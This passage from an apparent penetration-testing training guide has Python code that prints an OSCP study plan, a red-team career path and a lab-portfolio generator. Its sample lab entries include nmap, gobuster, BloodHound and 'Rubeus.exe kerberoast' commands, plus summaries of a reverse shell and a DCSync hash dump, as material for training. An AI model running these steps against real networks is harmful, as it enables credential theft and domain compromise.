\nWindows enumeration\n            \nKernel exploits\n            \nPractice: 15 privilege escalation machines\n        \n        \n        \nWeek 11-12: Practice and Exam Prep\n        \n\n            \nComplete 20+ practice machines\n            \nTake practice exams\n            \nReview weak areas\n            \nPlan exam strategy\n        \n        \"\"\"\n        \n        return timeline\n    \n    def create_exam_checklist(self):\n        \"\"\"Create OSCP exam checklist\"\"\"\n        \n        checklist = f\"\"\"\n        \nOSCP Exam Checklist\n        \n        \nBefore Exam\n        \n\n            \n\u2610 Verify exam time and timezone\n            \n\u2610 Test VPN connection\n            \n\u2610 Prepare note-taking system (KeepNote/CherryTree)\n            \n\u2610 Organize cheatsheets\n            \n\u2610 Prepare backup power/internet\n            \n\u2610 Get 8 hours of sleep\n            \n\u2610 Have food and water ready\n            \n\u2610 Inform family not to disturb\n        \n        \n        \nExam Day\n        \n\n            \n\u2610 Connect to VPN immediately\n            \n\u2610 Take screenshots of everything\n            \n\u2610 Document commands and outputs\n            \n\u2610 Prioritize easy wins first\n            \n\u2610 Take breaks every 2 hours\n            \n\u2610 Don't spend &gt;2 hours on one machine\n            \n\u2610 Sleep for 4-6 hours\n            \n\u2610 Save and backup notes regularly\n        \n        \n        \nReporting\n        \n\n            \n\u2610 Use provided template\n            \n\u2610 Include all steps with screenshots\n            \n\u2610 Document proof.txt and flag.txt\n            \n\u2610 Explain methodology\n            \n\u2610 Proofread report\n            \n\u2610 Generate PDF and upload\n        \n        \"\"\"\n        \n        return checklist\n    \n    def recommend_practice_order(self):\n        \"\"\"Recommend order of practice machines\"\"\"\n        \n        order = \"\"\"\n        \nRecommended Practice Order\n        \n        \nBeginner Machines (Week 1-2)\n        \n\n            \nKioptrix: Level 1\n            \nKioptrix: Level 2\n            \nVulnix\n            \nStapler\n            \nFristiLeaks\n        \n        \n        \nIntermediate Machines (Week 3-6)\n        \n\n            \nMr-Robot\n            \nVulnOS:2\n            \nSickOS 1.1\n            \nTr0ll 2\n            \nPwnLab\n        \n        \n        \nAdvanced Machines (Week 7-10)\n        \n\n            \nBrainpan\n            \nVulnHub OSCP-like series\n            \nHackTheBox TJNull list\n            \nOffensive Security labs\n        \n        \n        \nExam Simulation (Week 11-12)\n        \n\n            \nComplete 3-4 machine sets under time pressure\n            \nTake 24-hour practice exams\n            \nWrite full reports for each\n        \n        \"\"\"\n        \n        return order\n\n# Example usage\noscp = OSCPPreparation()\n\n# Get study timeline\ntimeline = oscp.create_study_timeline()\nprint(timeline)\n\n# Get exam checklist\nchecklist = oscp.create_exam_checklist()\nprint(checklist)\n\n# Get practice order\npractice = oscp.recommend_practice_order()\nprint(practice)\n```\n\n### 29.3 Red Team Career Path\n\nBuilding a career in red teaming requires diverse skills and continuous learning.\n\n#### 29.3.1 Career Development Framework\n\n```python\n#!/usr/bin/env python3\n# career_path.py\n\nclass RedTeamCareer:\n    def __init__(self):\n        self.career_stages = {\n            'entry': {\n                'title': 'Junior Penetration Tester',\n                'years': '0-2',\n                'skills': [\n                    'Basic networking',\n                    'Linux/Windows administration',\n                    'Scripting basics',\n                    'Nmap, Metasploit',\n                    'Report writing'\n                ],\n                'certifications': ['OSCP', 'Network+', 'Security+'],\n                'salary_range': '$60K - $90K'\n            },\n            'mid': {\n                'title': 'Penetration Tester',\n                'years': '2-5',\n                'skills': [\n                    'Web application testing',\n                    'Active Directory attacks',\n                    'Privilege escalation',\n                    'Custom exploit development',\n                    'Communication skills'\n                ],\n                'certifications': ['OSEP', 'OSWE', 'CRTP', 'GPEN'],\n                'salary_range': '$90K - $130K'\n            },\n            'senior': {\n                'title': 'Senior Penetration Tester',\n                'years': '5-8',\n                'skills': [\n                    'Red team operations',\n                    'C2 infrastructure',\n                    'Evasion techniques',\n                    'Team leadership',\n                    'Client management'\n                ],\n                'certifications': ['OSCE3', 'CRTE', 'GXPN'],\n                'salary_range': '$130K - $170K'\n            },\n            'lead': {\n                'title': 'Red Team Lead',\n                'years': '8+',\n                'skills': [\n                    'Program management',\n                    'Strategy development',\n                    'Mentoring',\n                    'Budget management',\n                    'Executive communication'\n                ],\n                'certifications': ['CISSP', 'CISM', 'CREST'],\n                'salary_range': '$170K - $220K+'\n            }\n        }\n        \n        self.specializations = {\n            'web_app': {\n                'name': 'Web Application Security',\n                'focus': 'Web apps, APIs, cloud',\n                'skills': ['JavaScript', 'Burp Suite', 'OWASP Top 10', 'REST APIs'],\n                'certs': ['OSWE', 'GWAPT']\n            },\n            'network': {\n                'name': 'Network Penetration Testing',\n                'focus': 'Infrastructure, firewalls, routers',\n                'skills': ['Networking protocols', 'Nmap', 'Metasploit', 'Python'],\n                'certs': ['OSCP', 'GPEN']\n            },\n            'active_directory': {\n                'name': 'Active Directory Security',\n                'focus': 'Windows domains, Azure AD',\n                'skills': ['AD internals', 'PowerShell', 'BloodHound', 'Mimikatz'],\n                'certs': ['OSEP', 'CRTP', 'CRTE']\n            },\n            'cloud': {\n                'name': 'Cloud Security',\n                'focus': 'AWS, Azure, GCP',\n                'skills': ['Cloud APIs', 'Container security', 'Serverless'],\n                'certs': ['AWS Security', 'Azure Security', 'CCSP']\n            },\n            'exploit_development': {\n                'name': 'Exploit Development',\n                'focus': 'Reverse engineering, bug hunting',\n                'skills': ['Assembly', 'C', 'Python', 'GDB', 'WinDBG'],\n                'certs': ['OSED', 'OSEE']\n            },\n            'red_team': {\n                'name': 'Red Teaming',\n                'focus': 'Adversary simulation, C2',\n                'skills': ['Cobalt Strike', 'Evasion', 'OPSEC', 'TTPs'],\n                'certs': ['OSEP', 'CRTE', 'CAR']\n            }\n        }\n        \n    def get_career_stage_info(self, stage):\n        \"\"\"Get information about career stage\"\"\"\n        \n        if stage in self.career_stages:\n            return self.career_stages[stage]\n        return None\n    \n    def create_development_plan(self, current_stage, target_stage):\n        \"\"\"Create personal development plan\"\"\"\n        \n        current = self.career_stages.get(current_stage)\n        target = self.career_stages.get(target_stage)\n        \n        if not current or not target:\n            return None\n            \n        plan = f\"\"\"\n        \nCareer Development Plan: {current['title']} to {target['title']}\n        \n        \nCurrent Skills\n        \n\n            {''.join([f'\n{skill}' for skill in current['skills']])}\n        \n        \n        \nTarget Skills\n        \n\n            {''.join([f'\n{skill}' for skill in target['skills'] if skill not in current['skills']])}\n        \n        \n        \nRecommended Certifications\n        \n\n            {''.join([f'\n{cert}' for cert in target['certifications']])}\n        \n        \n        \nTimeline\n        \nExpected time: {target['years']} years experience\n        \n        \nYear 1 Goals\n        \n\n            \nComplete 2-3 certifications\n            \nPractice on 100+ lab machines\n            \nAttend security conferences\n            \nBuild home lab\n        \n        \n        \nYear 2 Goals\n        \n\n            \nComplete advanced certification\n            \nContribute to open source\n            \nPresent at local meetups\n            \nStart blogging/writing\n        \n        \n        \nYear 3 Goals\n        \n\n            \nLead assessments\n            \nMentor junior team members\n            \nDevelop custom tools\n            \nNetwork professionally\n        \n        \"\"\"\n        \n        return plan\n    \n    def recommend_specialization(self, interests, background):\n        \"\"\"Recommend specialization based on interests\"\"\"\n        \n        recommendations = []\n        \n        interest_map = {\n            'web': 'web_app',\n            'code': 'exploit_development',\n            'network': 'network',\n            'windows': 'active_directory',\n            'cloud': 'cloud',\n            'adversary': 'red_team'\n        }\n        \n        for interest in interests:\n            if interest in interest_map:\n                spec = interest_map[interest]\n                recommendations.append(self.specializations[spec])\n                \n        return recommendations\n    \n    def create_skill_matrix(self):\n        \"\"\"Create skill progression matrix\"\"\"\n        \n        matrix = \"\"\"\n        \nRed Team Skill Matrix\n        \n\n            \n                Skill Area\n                Entry Level\n                Mid Level\n                Senior Level\n            \n            \n                Networking\n                TCP/IP, Subnetting\n                Protocol Analysis, IDS Evasion\n                Custom Protocols, Radio\n            \n            \n                Exploitation\n                Metasploit, Public Exploits\n                Custom Exploit Dev\n                0-day Research\n            \n            \n                Post-Exploitation\n                Basic Enumeration\n                Privilege Escalation\n                Persistence, Pivoting\n            \n            \n                Web Apps\n                OWASP Top 10\n                Advanced Bypass\n                Source Code Review\n            \n            \n                Active Directory\n                Basic Enumeration\n                Lateral Movement\n                Forest Trusts\n            \n            \n                Cloud\n                Basic Enumeration\n                Privilege Escalation\n                Multi-Cloud Pivot\n            \n            \n                Tools Development\n                Scripting\n                Tool Modification\n                Custom C2\n            \n            \n                Soft Skills\n                Report Writing\n                Client Communication\n                Executive Presentation\n            \n        \n        \"\"\"\n        \n        return matrix\n\n# Example usage\ncareer = RedTeamCareer()\n\n# Get career stage info\nentry = career.get_career_stage_info('entry')\nprint(json.dumps(entry, indent=2))\n\n# Create development plan\nplan = career.create_development_plan('entry', 'mid')\nprint(plan)\n\n# Get specialization recommendations\ninterests = ['web', 'windows', 'adversary']\nspecializations = career.recommend_specialization(interests, 'developer')\nfor spec in specializations:\n    print(f\"\\n{spec['name']}: {spec['focus']}\")\n    \n# Get skill matrix\nmatrix = career.create_skill_matrix()\nprint(matrix)\n```\n\n### 29.4 Building a Lab Portfolio\n\nA well-documented lab portfolio demonstrates practical skills to potential employers.\n\n#### 29.4.1 Lab Documentation Framework\n\n```python\n#!/usr/bin/env python3\n# lab_portfolio.py\n\nimport datetime\nimport json\nimport os\n\nclass LabPortfolio:\n    def __init__(self, name):\n        self.name = name\n        self.lab_entries = []\n        self.skills_demonstrated = set()\n        \n    def add_lab_entry(self, entry):\n        \"\"\"Add lab entry to portfolio\"\"\"\n        \n        entry['date'] = datetime.datetime.now().isoformat()\n        entry['id'] = f\"LAB-{len(self.lab_entries)+1:04d}\"\n        self.lab_entries.append(entry)\n        \n        # Track skills\n        for skill in entry.get('skills', []):\n            self.skills_demonstrated.add(skill)\n            \n    def generate_lab_report(self, entry_id):\n        \"\"\"Generate detailed lab report\"\"\"\n        \n        entry = next((e for e in self.lab_entries if e['id'] == entry_id), None)\n        if not entry:\n            return None\n            \n        report = f\"\"\"\n        \n        \n        \n            Lab Report: {entry['name']}\n            \n                body {{ font-family: 'Courier New', monospace; margin: 40px; }}\n                h1 {{ color: #2c3e50; }}\n                pre {{ background: #f4f4f4; padding: 10px; border-radius: 5px; }}\n                .command {{ background: #000; color: #0f0; padding: 5px; }}\n            \n        \n        \n            \nLab Report: {entry['name']}\n            \nDate: {entry['date']}\n            \nDifficulty: {entry['difficulty']}\n            \nTime Spent: {entry['time_spent']}\n            \n            \nObjective\n            \n{entry['objective']}\n            \n            \nTools Used\n            \n\n                {''.join([f'\n{tool}' for tool in entry['tools']])}\n            \n            \n            \nSkills Demonstrated\n            \n\n                {''.join([f'\n{skill}' for skill in entry['skills']])}\n            \n            \n            \nWalkthrough\n            \nReconnaissance\n            \n{entry['walkthrough']['recon']}\n            \n            \nExploitation\n            \n{entry['walkthrough']['exploitation']}\n            \n            \nPost-Exploitation\n            \n{entry['walkthrough']['post']}\n            \n            \nCommands Used\n            \n{entry['walkthrough']['commands']}\n            \n            \nFindings\n            \n\n                {''.join([f'\n{finding}' for finding in entry['findings']])}\n            \n            \n            \nLessons Learned\n            \n{entry['lessons']}\n            \n            \nProof\n            \n        \n        \n        \"\"\"\n        \n        return report\n    \n    def generate_resume_section(self):\n        \"\"\"Generate resume section from lab work\"\"\"\n        \n        resume = f\"\"\"\n        \nPractical Lab Experience\n        \nCompleted over {len(self.lab_entries)} hands-on lab exercises demonstrating proficiency in:\n        \n\n            {''.join([f'\n{skill}' for skill in sorted(self.skills_demonstrated)])}\n        \n        \n        \nNotable Labs\n        \"\"\"\n        \n        for entry in self.lab_entries[:5]:  # Top 5 labs\n            resume += f\"\"\"\n            \n\n                {entry['name']} ({entry['difficulty']})\n                Tools: {', '.join(entry['tools'])}\n                Skills: {', '.join(entry['skills'][:3])}\n            \n            \"\"\"\n            \n        return resume\n    \n    def generate_skill_heatmap(self):\n        \"\"\"Generate skill proficiency heatmap\"\"\"\n        \n        skill_counts = {}\n        for entry in self.lab_entries:\n            for skill in entry.get('skills', []):\n                skill_counts[skill] = skill_counts.get(skill, 0) + 1\n                \n        heatmap = \"\"\"\n        \nSkill Proficiency Heatmap\n        \n\n            \n                Skill\n                Count\n                Proficiency\n            \n        \"\"\"\n        \n        for skill, count in sorted(skill_counts.items(), key=lambda x: x[1], reverse=True):\n            proficiency = min(count * 10, 100)\n            heatmap += f\"\"\"\n            \n                {skill}\n                {count} labs\n                {proficiency}%\n            \n            \"\"\"\n            \n        heatmap += \"\"\n        return heatmap\n    \n    def generate_portfolio_site(self):\n        \"\"\"Generate complete portfolio website\"\"\"\n        \n        html = f\"\"\"\n        \n        \n        \n            {self.name} - Security Lab Portfolio\n            \n                body {{ font-family: Arial, sans-serif; margin: 40px; }}\n                h1 {{ color: #2c3e50; }}\n                .lab {{ background: #f9f9f9; padding: 20px; margin: 20px 0; border-radius: 5px; }}\n                .skill-tag {{ background: #3498db; color: white; padding: 3px 8px; border-radius: 3px; margin: 2px; display: inline-block; }}\n                .tool-tag {{ background: #27ae60; color: white; padding: 3px 8px; border-radius: 3px; margin: 2px; display: inline-block; }}\n                .stats {{ display: flex; justify-content: space-around; margin: 30px 0; }}\n                .stat {{ text-align: center; padding: 20px; background: #ecf0f1; border-radius: 5px; }}\n                .stat-number {{ font-size: 48px; font-weight: bold; color: #3498db; }}\n                progress {{ width: 100%; height: 20px; }}\n            \n        \n        \n            \n{self.name} - Security Lab Portfolio\n            \nLast Updated: {datetime.datetime.now().strftime('%B %d, %Y')}\n            \n            \n\n                \n\n                    \n{len(self.lab_entries)}\n                    \nLabs Completed\n                \n                \n\n                    \n{len(self.skills_demonstrated)}\n                    \nSkills Demonstrated\n                \n                \n\n                    \n{sum(len(e.get('tools', [])) for e in self.lab_entries)}\n                    \nTools Used\n                \n            \n            \n            {self.generate_skill_heatmap()}\n            \n            \nLab Portfolio\n            {''.join([self.generate_lab_summary(e) for e in self.lab_entries])}\n        \n        \n        \"\"\"\n        \n        return html\n    \n    def generate_lab_summary(self, entry):\n        \"\"\"Generate lab summary for portfolio\"\"\"\n        \n        return f\"\"\"\n        \n\n            \n{entry['name']}\n            \nDifficulty: {entry['difficulty']} | Date: {entry['date']}\n            \nObjective: {entry['objective']}\n            \n\n                Tools: \n                {''.join([f'{t}' for t in entry.get('tools', [])])}\n            \n            \n\n                Skills:\n                {''.join([f'{s}' for s in entry.get('skills', [])])}\n            \n            \nView Full Report\n        \n        \"\"\"\n    \n    def save_portfolio(self, output_dir):\n        \"\"\"Save portfolio to disk\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Save main portfolio\n        with open(os.path.join(output_dir, 'index.html'), 'w') as f:\n            f.write(self.generate_portfolio_site())\n            \n        # Save individual lab reports\n        for entry in self.lab_entries:\n            report = self.generate_lab_report(entry['id'])\n            if report:\n                with open(os.path.join(output_dir, f\"lab_{entry['id']}.html\"), 'w') as f:\n                    f.write(report)\n                    \n        # Save JSON data\n        with open(os.path.join(output_dir, 'portfolio.json'), 'w') as f:\n            json.dump({\n                'name': self.name,\n                'entries': self.lab_entries,\n                'skills': list(self.skills_demonstrated)\n            }, f, indent=2)\n            \n        print(f\"[+] Portfolio saved to {output_dir}\")\n\n# Example usage\nportfolio = LabPortfolio(\"Jane Smith\")\n\n# Add lab entries\nportfolio.add_lab_entry({\n    'name': 'Mr-Robot VM',\n    'difficulty': 'Intermediate',\n    'time_spent': '4 hours',\n    'objective': 'Gain root access on the Mr-Robot VM',\n    'tools': ['nmap', 'gobuster', 'hydra', 'nc'],\n    'skills': ['Web enumeration', 'Password cracking', 'WordPress exploitation', 'Privilege escalation'],\n    'walkthrough': {\n        'recon': 'Performed nmap scan and found port 80 and 443 open. Used gobuster to find WordPress directory.',\n        'exploitation': 'Found vulnerable plugin, used it to get reverse shell.',\n        'post': 'Found password in config file, used to SSH and escalate to root.',\n        'commands': 'nmap -sV -sC 192.168.1.100\\ngobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt'\n    },\n    'findings': ['Outdated WordPress version', 'Weak passwords'],\n    'lessons': 'Always check WordPress plugins for vulnerabilities',\n    'proof_image': 'mr-robot-proof.png'\n})\n\nportfolio.add_lab_entry({\n    'name': 'Active Directory Lab',\n    'difficulty': 'Advanced',\n    'time_spent': '8 hours',\n    'objective': 'Compromise domain controller',\n    'tools': ['BloodHound', 'PowerView', 'Mimikatz', 'Cobalt Strike'],\n    'skills': ['AD enumeration', 'Kerberoasting', 'Pass-the-hash', 'DCSync'],\n    'walkthrough': {\n        'recon': 'Enumerated domain with BloodHound',\n        'exploitation': 'Found Kerberoastable account, cracked hash',\n        'post': 'Used DCSync to dump all hashes',\n        'commands': 'bloodhound-python -d domain.local -u user -p pass -ns 192.168.1.10 -c all\\nRubeus.exe kerberoast'\n    },\n    'findings': ['Weak service account passwords', 'No SMB signing'],\n    'lessons': 'BloodHound is essential for AD attacks',\n    'proof_image': 'ad-proof.png'\n})\n\n# Save portfolio\nportfolio.save_portfolio('lab_portfolio')\n```\n\n", "creation_timestamp": "2026-08-25T16:11:49.656407Z"}]}